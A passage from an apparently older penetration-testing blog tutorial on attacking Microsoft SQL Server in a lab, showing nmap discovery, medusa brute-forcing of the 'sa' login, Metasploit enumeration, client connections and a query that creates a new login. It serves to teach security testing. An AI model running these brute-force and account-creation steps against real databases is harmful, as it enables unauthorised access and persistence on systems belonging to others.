Host is up (0.00032s latency)<br />
PORT     STATE SERVICE<br />
1433/tcp open  ms-sql-s<br />
MAC Address: 00:0C:29:4C:37:8E (VMware)<br />
Nmap done: 11 IP addresses (2 hosts up) scanned in 0.86 seconds</div></div>
<p>In this case the 131 host port is closed but the 132 host has port 1433 open. So great success we&#8217;ve found a box running mssql. Hold your horses because this is simply the beginning. If you&#8217;re scanning is focused then this type of scan is fine, meaning I&#8217;m not scanning thousands of hosts I&#8217;m only focused on a handful of hosts. If I&#8217;m only concerned about scanning a handful of hosts then my next step would be to determine two things.</p>
<ol>
<li>Version of the database</li>
<li>Are there any other additional listening ports for this database</li>
</ol>
<p>To determine the version of the database we can once again turn to nmap.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# nmap -p 1433 -A 192.168.134.132</div></div>
<p>The &#8220;-A&#8221; option will try and determine as much information as it can about the service on port 1433 in this case. The &#8220;-A&#8221; option will also try and determine the underlying OS running as well. Below is the output from this scan.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-08 09:19 EST<br />
Nmap scan report for 192.168.134.132<br />
Host is up (0.0044s latency).<br />
PORT &nbsp; &nbsp; STATE SERVICE &nbsp;VERSION<br />
1433/tcp open &nbsp;ms-sql-s Microsoft SQL Server 2005 9.00.1399.00; RTM<br />
MAC Address: 00:0C:29:4C:37:8E (VMware)<br />
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br />
Device type: general purpose<br />
Running: Microsoft Windows 2003<br />
OS details: Microsoft Windows Server 2003 SP1 or SP2<br />
Network Distance: 1 hop<br />
<br />
Host script results:<br />
| ms-sql-info:<br />
| &nbsp; Windows server name: WIN2003<br />
| &nbsp; [192.168.134.132\MSSQLSERVER]<br />
| &nbsp; &nbsp; Instance name: MSSQLSERVER<br />
| &nbsp; &nbsp; Version: Microsoft SQL Server 2005 RTM<br />
| &nbsp; &nbsp; &nbsp; Version number: 9.00.1399.00<br />
| &nbsp; &nbsp; &nbsp; Product: Microsoft SQL Server 2005<br />
| &nbsp; &nbsp; &nbsp; Service pack level: RTM<br />
| &nbsp; &nbsp; &nbsp; Post-SP patches applied: No<br />
| &nbsp; &nbsp; TCP port: 1433<br />
| &nbsp; &nbsp; Named pipe: \\192.168.134.132\pipe\sql\query<br />
|_ &nbsp; &nbsp;Clustered: No</div></div>
<p>So you&#8217;ll notice in the output nmap is reporting the version of mssql to be SQL Server 2005 which is correct in this case. Knowing the version is very important because different versions of SQL Server provide different security features and also have different vulnerabilities. There are other ways of determining the version of sql server without authenticating but to me nmap is the best solution.</p>
<p>Next let&#8217;s talk about looking for other ports that mssql may be listening on. For multiple reasons, like load balancing, mssql can listen on multiple ports. When pen testing mssql we want to know what those ports are so we can bang against them. Depending on the configuration you can authenticate to every listening mssql port. One thing to keep in mind is that you can authenticate to mssql using your normal windows / network / active directory credentials or you can authenticate using an account that was setup on the mssql server. This is basically known as windows authentication or sql authentication. When setting up the sql server and ports the database administrator will have to configure on how this authentication takes place. The easier target is using sql credentials as those are typically configured with a weaker password policy. Now that I&#8217;ve discussed some of the issues let&#8217;s get cracking. So to determine additional ports that a database may be running on we&#8217;ll once again turn to nmap. This time I told mssql to also listen on port 1444 and 1433.</p>
<p><a href="http://travisaltman.com/wp-content/multiplePortsMssql.png"><img class="aligncenter size-full wp-image-463" title="multiplePortsMssql" src="http://travisaltman.com/wp-content/multiplePortsMssql.png" alt="" width="500" height="341" /></a></p>
<p>So now go ahead and run the same nmap command as before.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# nmap -A -p 1433 192.168.134.132<br />
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-12 13:54 EST<br />
Nmap scan report for 192.168.134.132<br />
Host is up (0.0036s latency).<br />
PORT     STATE SERVICE  VERSION<br />
1433/tcp open  ms-sql-s Microsoft SQL Server 2005 9.00.1399.00; RTM<br />
MAC Address: 00:0C:29:4C:37:8E (VMware)<br />
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br />
Device type: general purpose<br />
Running: Microsoft Windows 2003<br />
OS details: Microsoft Windows Server 2003 SP1 or SP2<br />
Network Distance: 1 hop<br />
Service Info: OS: Windows<br />
Host script results:<br />
| ms-sql-info:<br />
|   Windows server name: WIN2003<br />
|   [192.168.134.132\MSSQLSERVER]<br />
|     Instance name: MSSQLSERVER<br />
|     Version: Microsoft SQL Server 2005 RTM<br />
|       Version number: 9.00.1399.00<br />
|       Product: Microsoft SQL Server 2005<br />
|       Service pack level: RTM<br />
|       Post-SP patches applied: No<br />
|     TCP port: 1444<br />
|     Named pipe: \\192.168.134.132\pipe\sql\query<br />
|     Clustered: No<br />
|   [192.168.134.132:1433]<br />
|     Version: Microsoft SQL Server 2005 RTM<br />
|       Version number: 9.00.1399.00<br />
|       Product: Microsoft SQL Server 2005<br />
|       Service pack level: RTM<br />
|       Post-SP patches applied: No<br />
|_    TCP port: 1433</div></div>
<p>So we see that nmap reports back ports 1444 and 1433 are listening. You may be wondering how nmap knew that port 1444 was open. MSSQL runs a service called the &#8220;browser service&#8221; which runs on port 1434 and uses UDP instead of TCP. If this browser service wasn&#8217;t running nmap wouldn&#8217;t be able to pull this information. Basically nmap queries port 1434 asking for any other instances that are running on different ports. It does this using the <a href="http://nmap.org/nsedoc/scripts/ms-sql-info.html" target="_blank">mssql nmap script</a>. There are a couple of other tools <a href="http://packetstormsecurity.org/files/24465/sqlping.c" target="_blank">here</a> and<a href="http://www.metasploit.com/modules/auxiliary/scanner/mssql/mssql_ping" target="_blank"> here</a> that do the same thing but I stick with nmap since it&#8217;s already baked in. So the browser service and additional ports is a very important to keep in mind when pen testing mssql.</p>
<p>Now we have more information about our target which hopefully means we&#8217;ll find a weak spot that we can exploit. Once you know the version it&#8217;s always recommended to search <a href="http://cve.mitre.org/cve/cve" target="_blank">CVE (common vulnerabilities and weaknesses)</a> and it may also not be a bad idea to search inside the <a href="http://metasploit.com/" target="_blank">metasploit</a> tool as well. There aren&#8217;t a whole lot of remote code execution vulnerabilities for anything SQL Server 2005 and beyond but it&#8217;s always worth checking just to make sure. So if they aren&#8217;t running an old unpatched version of mssql then that means you&#8217;ll need credentials to authenticate to the sql server. This means we&#8217;ll need to try and brute force the credentials. The main tool I like to use to perform <a href="http://www.foofus.net/~jmk/medusa/medusa.html" target="_blank">brute force attacks is medusa</a>, another good alternative is <a href="http://thc.org/thc-hydra/" target="_blank">hydra</a>. I have had different degrees of luck with both tools so it may be useful to run both tools although my default is medusa. I will only cover how to use medusa, below is the typical command line options that you feed into medusa.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">medusa -h 192.168.134.132 -U dictionary.txt -P dictionary.txt -O medusaOutput.txt -M mssql</div></div>
<p>The -h is the host, the -U is the username list, -P is the password list, -O is the output file, -M is the module you want to run against in this case it&#8217;s mssql. Below is the output of this command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks<br />
<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: admin (1 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: password (2 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: sa (3 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: admin (1 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: password (2 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: sa (3 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: sa (3 of 3, 2 complete) Password: admin (1 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: sa (3 of 3, 2 complete) Password: password (2 of 3 complete)<br />
ACCOUNT FOUND: [mssql] Host: 192.168.134.132 User: sa Password: password [SUCCESS]</div></div>
<p>Your output file resemble the following.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# cat medusaOutput.txt<br />
# Medusa v.2.0 (2011-12-12 22:59:43)<br />
# medusa -h 192.168.134.132 -U dictionary.txt -P dictionary.txt -O medusaOutput -M mssql<br />
ACCOUNT FOUND: [mssql] Host: 192.168.134.132 User: sa Password: password [SUCCESS]<br />
# Medusa has finished (2011-12-12 22:59:46).</div></div>
<p>The file output is much easier to parse and we can see in the next to last line that it was successful in finding credentials of username = sa and password = password. By default medusa will run against the standard port which is 1433 in this case, if you want medusa to run against a non standard port you&#8217;ll need to include the &#8220;-n&#8221; option.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# medusa -h 192.168.134.132 -U dictionary.txt -P dictionary.txt -O medusaOutput -M mssql -n 1444<br />
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks<br />
<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: admin (1 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: password (2 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: sa (3 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: admin (1 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: password (2 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: sa (3 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: sa (3 of 3, 2 complete) Password: admin (1 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: sa (3 of 3, 2 complete) Password: password (2 of 3 complete)<br />
ACCOUNT FOUND: [mssql] Host: 192.168.134.132 User: sa Password: password [SUCCESS]</div></div>
<p>So you see that medusa was able to authenticate to port 1444 with the same username and password. This may not always be the case. With mssql you can configure different ports with different credentials so it&#8217;s always best to run a brute force tool like medusa on each individual port and see if you get any hits. Medusa and hydra can take a while to run in my case I had a very small dictionary seen below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# cat dictionary.txt<br />
admin<br />
password<br />
sa</div></div>
<p>Large dictionaries can take some time to run so keep that in mind when you&#8217;re brute forcing using these kinds of tools. So we got lucky and we credentials for a mssql database, that&#8217;s awesome but it&#8217;s just another step in the process. Going forward we have a couple of options. As a true attacker you would consider the following options.</p>
<ol>
<li>Plunder the database for information</li>
<li>Use your credentials to gain further access (e.g. administrator on the underlying operating system)</li>
<li>Start serving up malware for potential victims</li>
</ol>
<p>I&#8217;m not going to touch on the third option but I will discuss the first and second option. So for the first option once we have credentials we can start to query the database. In this scenario I&#8217;ve got the best kind of credentials you can ask for on a mssql database which is the &#8220;sa&#8221; user. This will not always be the case but it&#8217;s the example I&#8217;ve chosen to follow. One good thing to run with credentials is <a href="http://www.metasploit.com/modules/auxiliary/admin/mssql/mssql_enum" target="_blank">metasploit&#8217;s enum tool</a>. This module basically gives you an overview of the sql server configuration and some note worthy security related configurations. Below is how to use mssql_enum.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; use auxiliary/admin/mssql/mssql_enum<br />
msf &nbsp;auxiliary(mssql_enum) &gt; info<br />
<br />
Name: Microsoft SQL Server Configuration Enumerator<br />
Module: auxiliary/admin/mssql/mssql_enum<br />
Version: 14288<br />
License: Metasploit Framework License (BSD)<br />
Rank: Normal<br />
<br />
Provided by:<br />
Carlos Perez<br />
<br />
Basic options:<br />
Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Current Setting &nbsp;Required &nbsp;Description<br />
---- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --------------- &nbsp;-------- &nbsp;-----------<br />
PASSWORD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;The password for the specified username<br />
RHOST &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; yes &nbsp; &nbsp; &nbsp; The target address<br />
RPORT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1433 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; yes &nbsp; &nbsp; &nbsp; The target port<br />
USERNAME &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sa &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; no &nbsp; &nbsp; &nbsp; &nbsp;The username to authenticate as<br />
USE_WINDOWS_AUTHENT &nbsp;false &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;yes &nbsp; &nbsp; &nbsp; Use windows authentification<br />
<br />
Description:<br />
This module will perform a series of configuration audits and<br />
security checks against a Microsoft SQL Server database. For this<br />
module to work, valid administrative user credentials must be<br />
supplied.<br />
<br />
msf &nbsp;auxiliary(mssql_enum) &gt; set rhost 192.168.134.132<br />
rhost =&gt; 192.168.134.132<br />
msf &nbsp;auxiliary(mssql_enum) &gt; set password password<br />
password =&gt; password<br />
msf &nbsp;auxiliary(mssql_enum) &gt; run</div></div>
<p>Below is the output of running the tool.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">[*] Running MS SQL Server Enumeration...<br />
[*] Version:<br />
[*] Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)<br />
[*] &nbsp; &nbsp; Oct 14 2005 00:33:37<br />
[*] &nbsp; &nbsp; Copyright (c) 1988-2005 Microsoft Corporation<br />
[*] &nbsp; &nbsp; Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)<br />
[*] Configuration Parameters:<br />
[*] &nbsp; &nbsp; C2 Audit Mode is Not Enabled<br />
[*] &nbsp; &nbsp; xp_cmdshell is Not Enabled<br />
[*] &nbsp; &nbsp; remote access is Enabled<br />
[*] &nbsp; &nbsp; allow updates is Not Enabled<br />
[*] &nbsp; &nbsp; Database Mail XPs is Not Enabled<br />
[*] &nbsp; &nbsp; Ole Automation Procedures are Not Enabled<br />
[*] Databases on the server:<br />
[*] &nbsp; &nbsp; Database name:master<br />
[*] &nbsp; &nbsp; Database Files for master:<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\master.mdf<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\mastlog.ldf<br />
[*] &nbsp; &nbsp; Database name:tempdb<br />
[*] &nbsp; &nbsp; Database Files for tempdb:<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\tempdb.mdf<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\templog.ldf<br />
[*] &nbsp; &nbsp; Database name:model<br />
[*] &nbsp; &nbsp; Database Files for model:<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\model.mdf<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\modellog.ldf<br />
[*] &nbsp; &nbsp; Database name:msdb<br />
[*] &nbsp; &nbsp; Database Files for msdb:<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\MSDBData.mdf<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\MSDBLog.ldf<br />
[*] System Logins on this Server:<br />
[*] &nbsp; &nbsp; sa<br />
[*] &nbsp; &nbsp; ##MS_SQLResourceSigningCertificate##<br />
[*] &nbsp; &nbsp; ##MS_SQLReplicationSigningCertificate##<br />
[*] &nbsp; &nbsp; ##MS_SQLAuthenticatorCertificate##<br />
[*] &nbsp; &nbsp; ##MS_AgentSigningCertificate##<br />
[*] &nbsp; &nbsp; BUILTIN\Administrators<br />
[*] &nbsp; &nbsp; NT AUTHORITY\SYSTEM<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005MSSQLUser$WIN2003$MSSQLSERVER<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005SQLAgentUser$WIN2003$MSSQLSERVER<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005MSFTEUser$WIN2003$MSSQLSERVER<br />
[*] Disabled Accounts:<br />
[*] &nbsp; &nbsp; No Disabled Logins Found<br />
[*] No Accounts Policy is set for:<br />
[*] &nbsp; &nbsp; All System Accounts have the Windows Account Policy Applied to them.<br />
[*] Password Expiration is not checked for:<br />
[*] &nbsp; &nbsp; sa<br />
[*] System Admin Logins on this Server:<br />
[*] &nbsp; &nbsp; sa<br />
[*] &nbsp; &nbsp; BUILTIN\Administrators<br />
[*] &nbsp; &nbsp; NT AUTHORITY\SYSTEM<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005MSSQLUser$WIN2003$MSSQLSERVER<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005SQLAgentUser$WIN2003$MSSQLSERVER<br />
[*] Windows Logins on this Server:<br />
[*] &nbsp; &nbsp; NT AUTHORITY\SYSTEM<br />
[*] Windows Groups that can logins on this Server:<br />
[*] &nbsp; &nbsp; BUILTIN\Administrators<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005MSSQLUser$WIN2003$MSSQLSERVER<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005SQLAgentUser$WIN2003$MSSQLSERVER<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005MSFTEUser$WIN2003$MSSQLSERVER<br />
[*] Accounts with Username and Password being the same:<br />
[*] &nbsp; &nbsp; No Account with its password being the same as its username was found.<br />
[*] Accounts with empty password:<br />
[*] &nbsp; &nbsp; No Accounts with empty passwords where found.<br />
[*] Stored Procedures with Public Execute Permission found:<br />
[*] &nbsp; &nbsp; sp_replsetsyncstatus<br />
[*] &nbsp; &nbsp; sp_replcounters<br />
[*] &nbsp; &nbsp; sp_replsendtoqueue<br />
[*] &nbsp; &nbsp; sp_resyncexecutesql<br />
[*] &nbsp; &nbsp; sp_prepexecrpc<br />
[*] &nbsp; &nbsp; sp_repltrans<br />
[*] &nbsp; &nbsp; sp_xml_preparedocument<br />
[*] &nbsp; &nbsp; xp_qv<br />
[*] &nbsp; &nbsp; xp_getnetname<br />
[*] &nbsp; &nbsp; sp_releaseschemalock<br />
[*] &nbsp; &nbsp; sp_refreshview<br />
[*] &nbsp; &nbsp; sp_replcmds<br />
[*] &nbsp; &nbsp; sp_unprepare<br />
[*] &nbsp; &nbsp; sp_resyncprepare<br />
[*] &nbsp; &nbsp; sp_createorphan<br />
[*] &nbsp; &nbsp; xp_dirtree<br />
[*] &nbsp; &nbsp; sp_replwritetovarbin<br />
[*] &nbsp; &nbsp; sp_replsetoriginator<br />
[*] &nbsp; &nbsp; sp_xml_removedocument<br />
[*] &nbsp; &nbsp; sp_repldone<br />
[*] &nbsp; &nbsp; sp_reset_connection<br />
[*] &nbsp; &nbsp; xp_fileexist<br />
[*] &nbsp; &nbsp; xp_fixeddrives<br />
[*] &nbsp; &nbsp; sp_getschemalock<br />
[*] &nbsp; &nbsp; sp_prepexec<br />
[*] &nbsp; &nbsp; xp_revokelogin<br />
[*] &nbsp; &nbsp; sp_resyncuniquetable<br />
[*] &nbsp; &nbsp; sp_replflush<br />
[*] &nbsp; &nbsp; sp_resyncexecute<br />
[*] &nbsp; &nbsp; xp_grantlogin<br />
[*] &nbsp; &nbsp; sp_droporphans<br />
[*] &nbsp; &nbsp; xp_regread<br />
[*] &nbsp; &nbsp; sp_getbindtoken<br />
[*] &nbsp; &nbsp; sp_replincrementlsn<br />
[*] Instances found on this server:<br />
[*] &nbsp; &nbsp; MSSQLSERVER<br />
[*] Default Server Instance SQL Server Service is running under the privilege of:<br />
[*] &nbsp; &nbsp; LocalSystem<br />
[*] Auxiliary module execution completed</div></div>
<p>I&#8217;m not going to go through this entire output but all of it is relevant to security configuration. Things to note are permissions which the service runs as, password settings (e.g. account lock outs, password expiration), and stored procedures that are available. You can read more about <a href="http://msdn.microsoft.com/en-us/library/aa174792(v=sql.80).aspx?ppud=4" target="_blank">stored procedures</a> but the main thing to know is that they extend the functionality of mssql by giving easy access to common tasks such as granting access to a database. The one stored procedure every pen tester wants access to is the mighty <a href="http://msdn.microsoft.com/en-us/library/aa260689(v=sql.80).aspx" target="_blank">xp_cmdshell</a> which allows you to execute operating system commands with a database call. So information that you can obtain, xp_cmdshell enabled or disabled, about the database will help you to further assess or pen test the setup. Going forward it&#8217;s best to have some sort of mssql client so that you can make sql queries to the database. I&#8217;m a fan of keeping things lightweight so I prefer command line clients and not GUI (graphical user interface) clients. So for accessing mssql from Linux I recommend <a href="http://www.sqsh.org/" target="_blank">sqsh</a> and as for accessing from a windows PC I like the Microsoft SQL Server Command Line Utilities which will first require an install of the Microsoft SQL Server Native Client, both <a href="http://www.microsoft.com/download/en/details.aspx?id=16978" target="_blank">microsoft tools can be found here</a>. Now we&#8217;ll get items of interest such as stored procedures but first let&#8217;s use one of the clients mentioned to access and run some sql queries. The syntax for both clients is very similar but first let&#8217;s look at the microsoft client. You&#8217;ll first need to change to the proper folder where the sql client was installed.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Microsoft Windows XP [Version 5.1.2600]<br />
(C) Copyright 1985-2001 Microsoft Corp.<br />
<br />
C:\WINDOWS\system32&gt;cd &quot;c:\Program Files\Microsoft SQL Server\90\Tools\binn&quot;<br />
<br />
C:\Program Files\Microsoft SQL Server\90\Tools\binn&gt;</div></div>
<p>So to connect to 192.168.134.132 run the following command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SQLCMD.exe -S 192.168.134.132 -U sa</div></div>
<p>Below are the basic options for this command</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">-S for server name (IP or name)<br />
-U for user name<br />
-P for password (will prompt if not supplied)</div></div>
<p>After you&#8217;ve run the above command you should see the following.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">C:\Program Files\Microsoft SQL Server\90\Tools\binn&gt;SQLCMD.EXE -S 192.168.134.132 -U sa<br />
Password:<br />
1&gt;</div></div>
<p>So the &#8220;1&gt;&#8221; is the prompt where you will enter your sql commands, let&#8217;s just run a basic sql query to confirm everything works, we&#8217;ll query for the version in this case.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">1&gt; select @@version<br />
2&gt; go<br />
<br />
-------------------------------------------------------------------------<br />
-------------------------------------------------------------------------<br />
-------------------------------------------------------------------------<br />
------------------------------------------------------------<br />
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)<br />
Oct 14 2005 00:33:37<br />
Copyright (c) 1988-2005 Microsoft Corporation<br />
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)<br />
<br />
(1 rows affected)<br />
1&gt;</div></div>
<p>So after typing your sql query you&#8217;ll be dropped down to your second prompt &#8220;2&gt;&#8221; there you will need to type &#8220;go&#8221; and hit enter for it to run your query. Running the sqsh client you&#8217;ll get similar results.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# sqsh -S 192.168.134.132 -U sa<br />
sqsh-2.1 Copyright (C) 1995-2001 Scott C. Gray<br />
This is free software with ABSOLUTELY NO WARRANTY<br />
For more information type '\warranty'<br />
Password:<br />
1&gt; select @@version<br />
2&gt; go<br />
<br />
------------------------------------------------------------------------------------------------<br />
------------------------------------------------------------------------------------------------<br />
<br />
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)<br />
Oct 14 2005 00:33:37<br />
Copyright (c) 1988-2005 Microsoft Corporation<br />
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)<br />
<br />
(1 row affected)<br />
1&gt;</div></div>
<p>Just type &#8220;exit&#8221; if you want to leave the client. Another thing to note is the help menu for both commands. Below is the help command for sqsh.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sqsh --help</div></div>
<p>Help for sqlcmd.exe</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sqlcmd.exe /?</div></div>
<p>One thing that might not be very clear from the help output is how you would connect to a different port. By default both of these clients connect on port 1433, if you want to connect to a different port you&#8217;ll have to use the following syntax.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sqsh -S 192.168.134.132:1444 -U sa<br />
<br />
sqlcmd.exe -S 192.168.134.132 -U sa</div></div>
<p>So getting the versions of the database proves that our clients are working correctly and we have access, next we&#8217;ll focus on sql queries that will extract some useful information that a pen tester could leverage.<br />
Determine the current user</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">select suser_sname();</div></div>
<p>Create user &#8220;travis&#8221; with password &#8220;secret&#8221;</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">exec master..sp_addlogin travis, secret</div></div>
<p>Or another way</p>
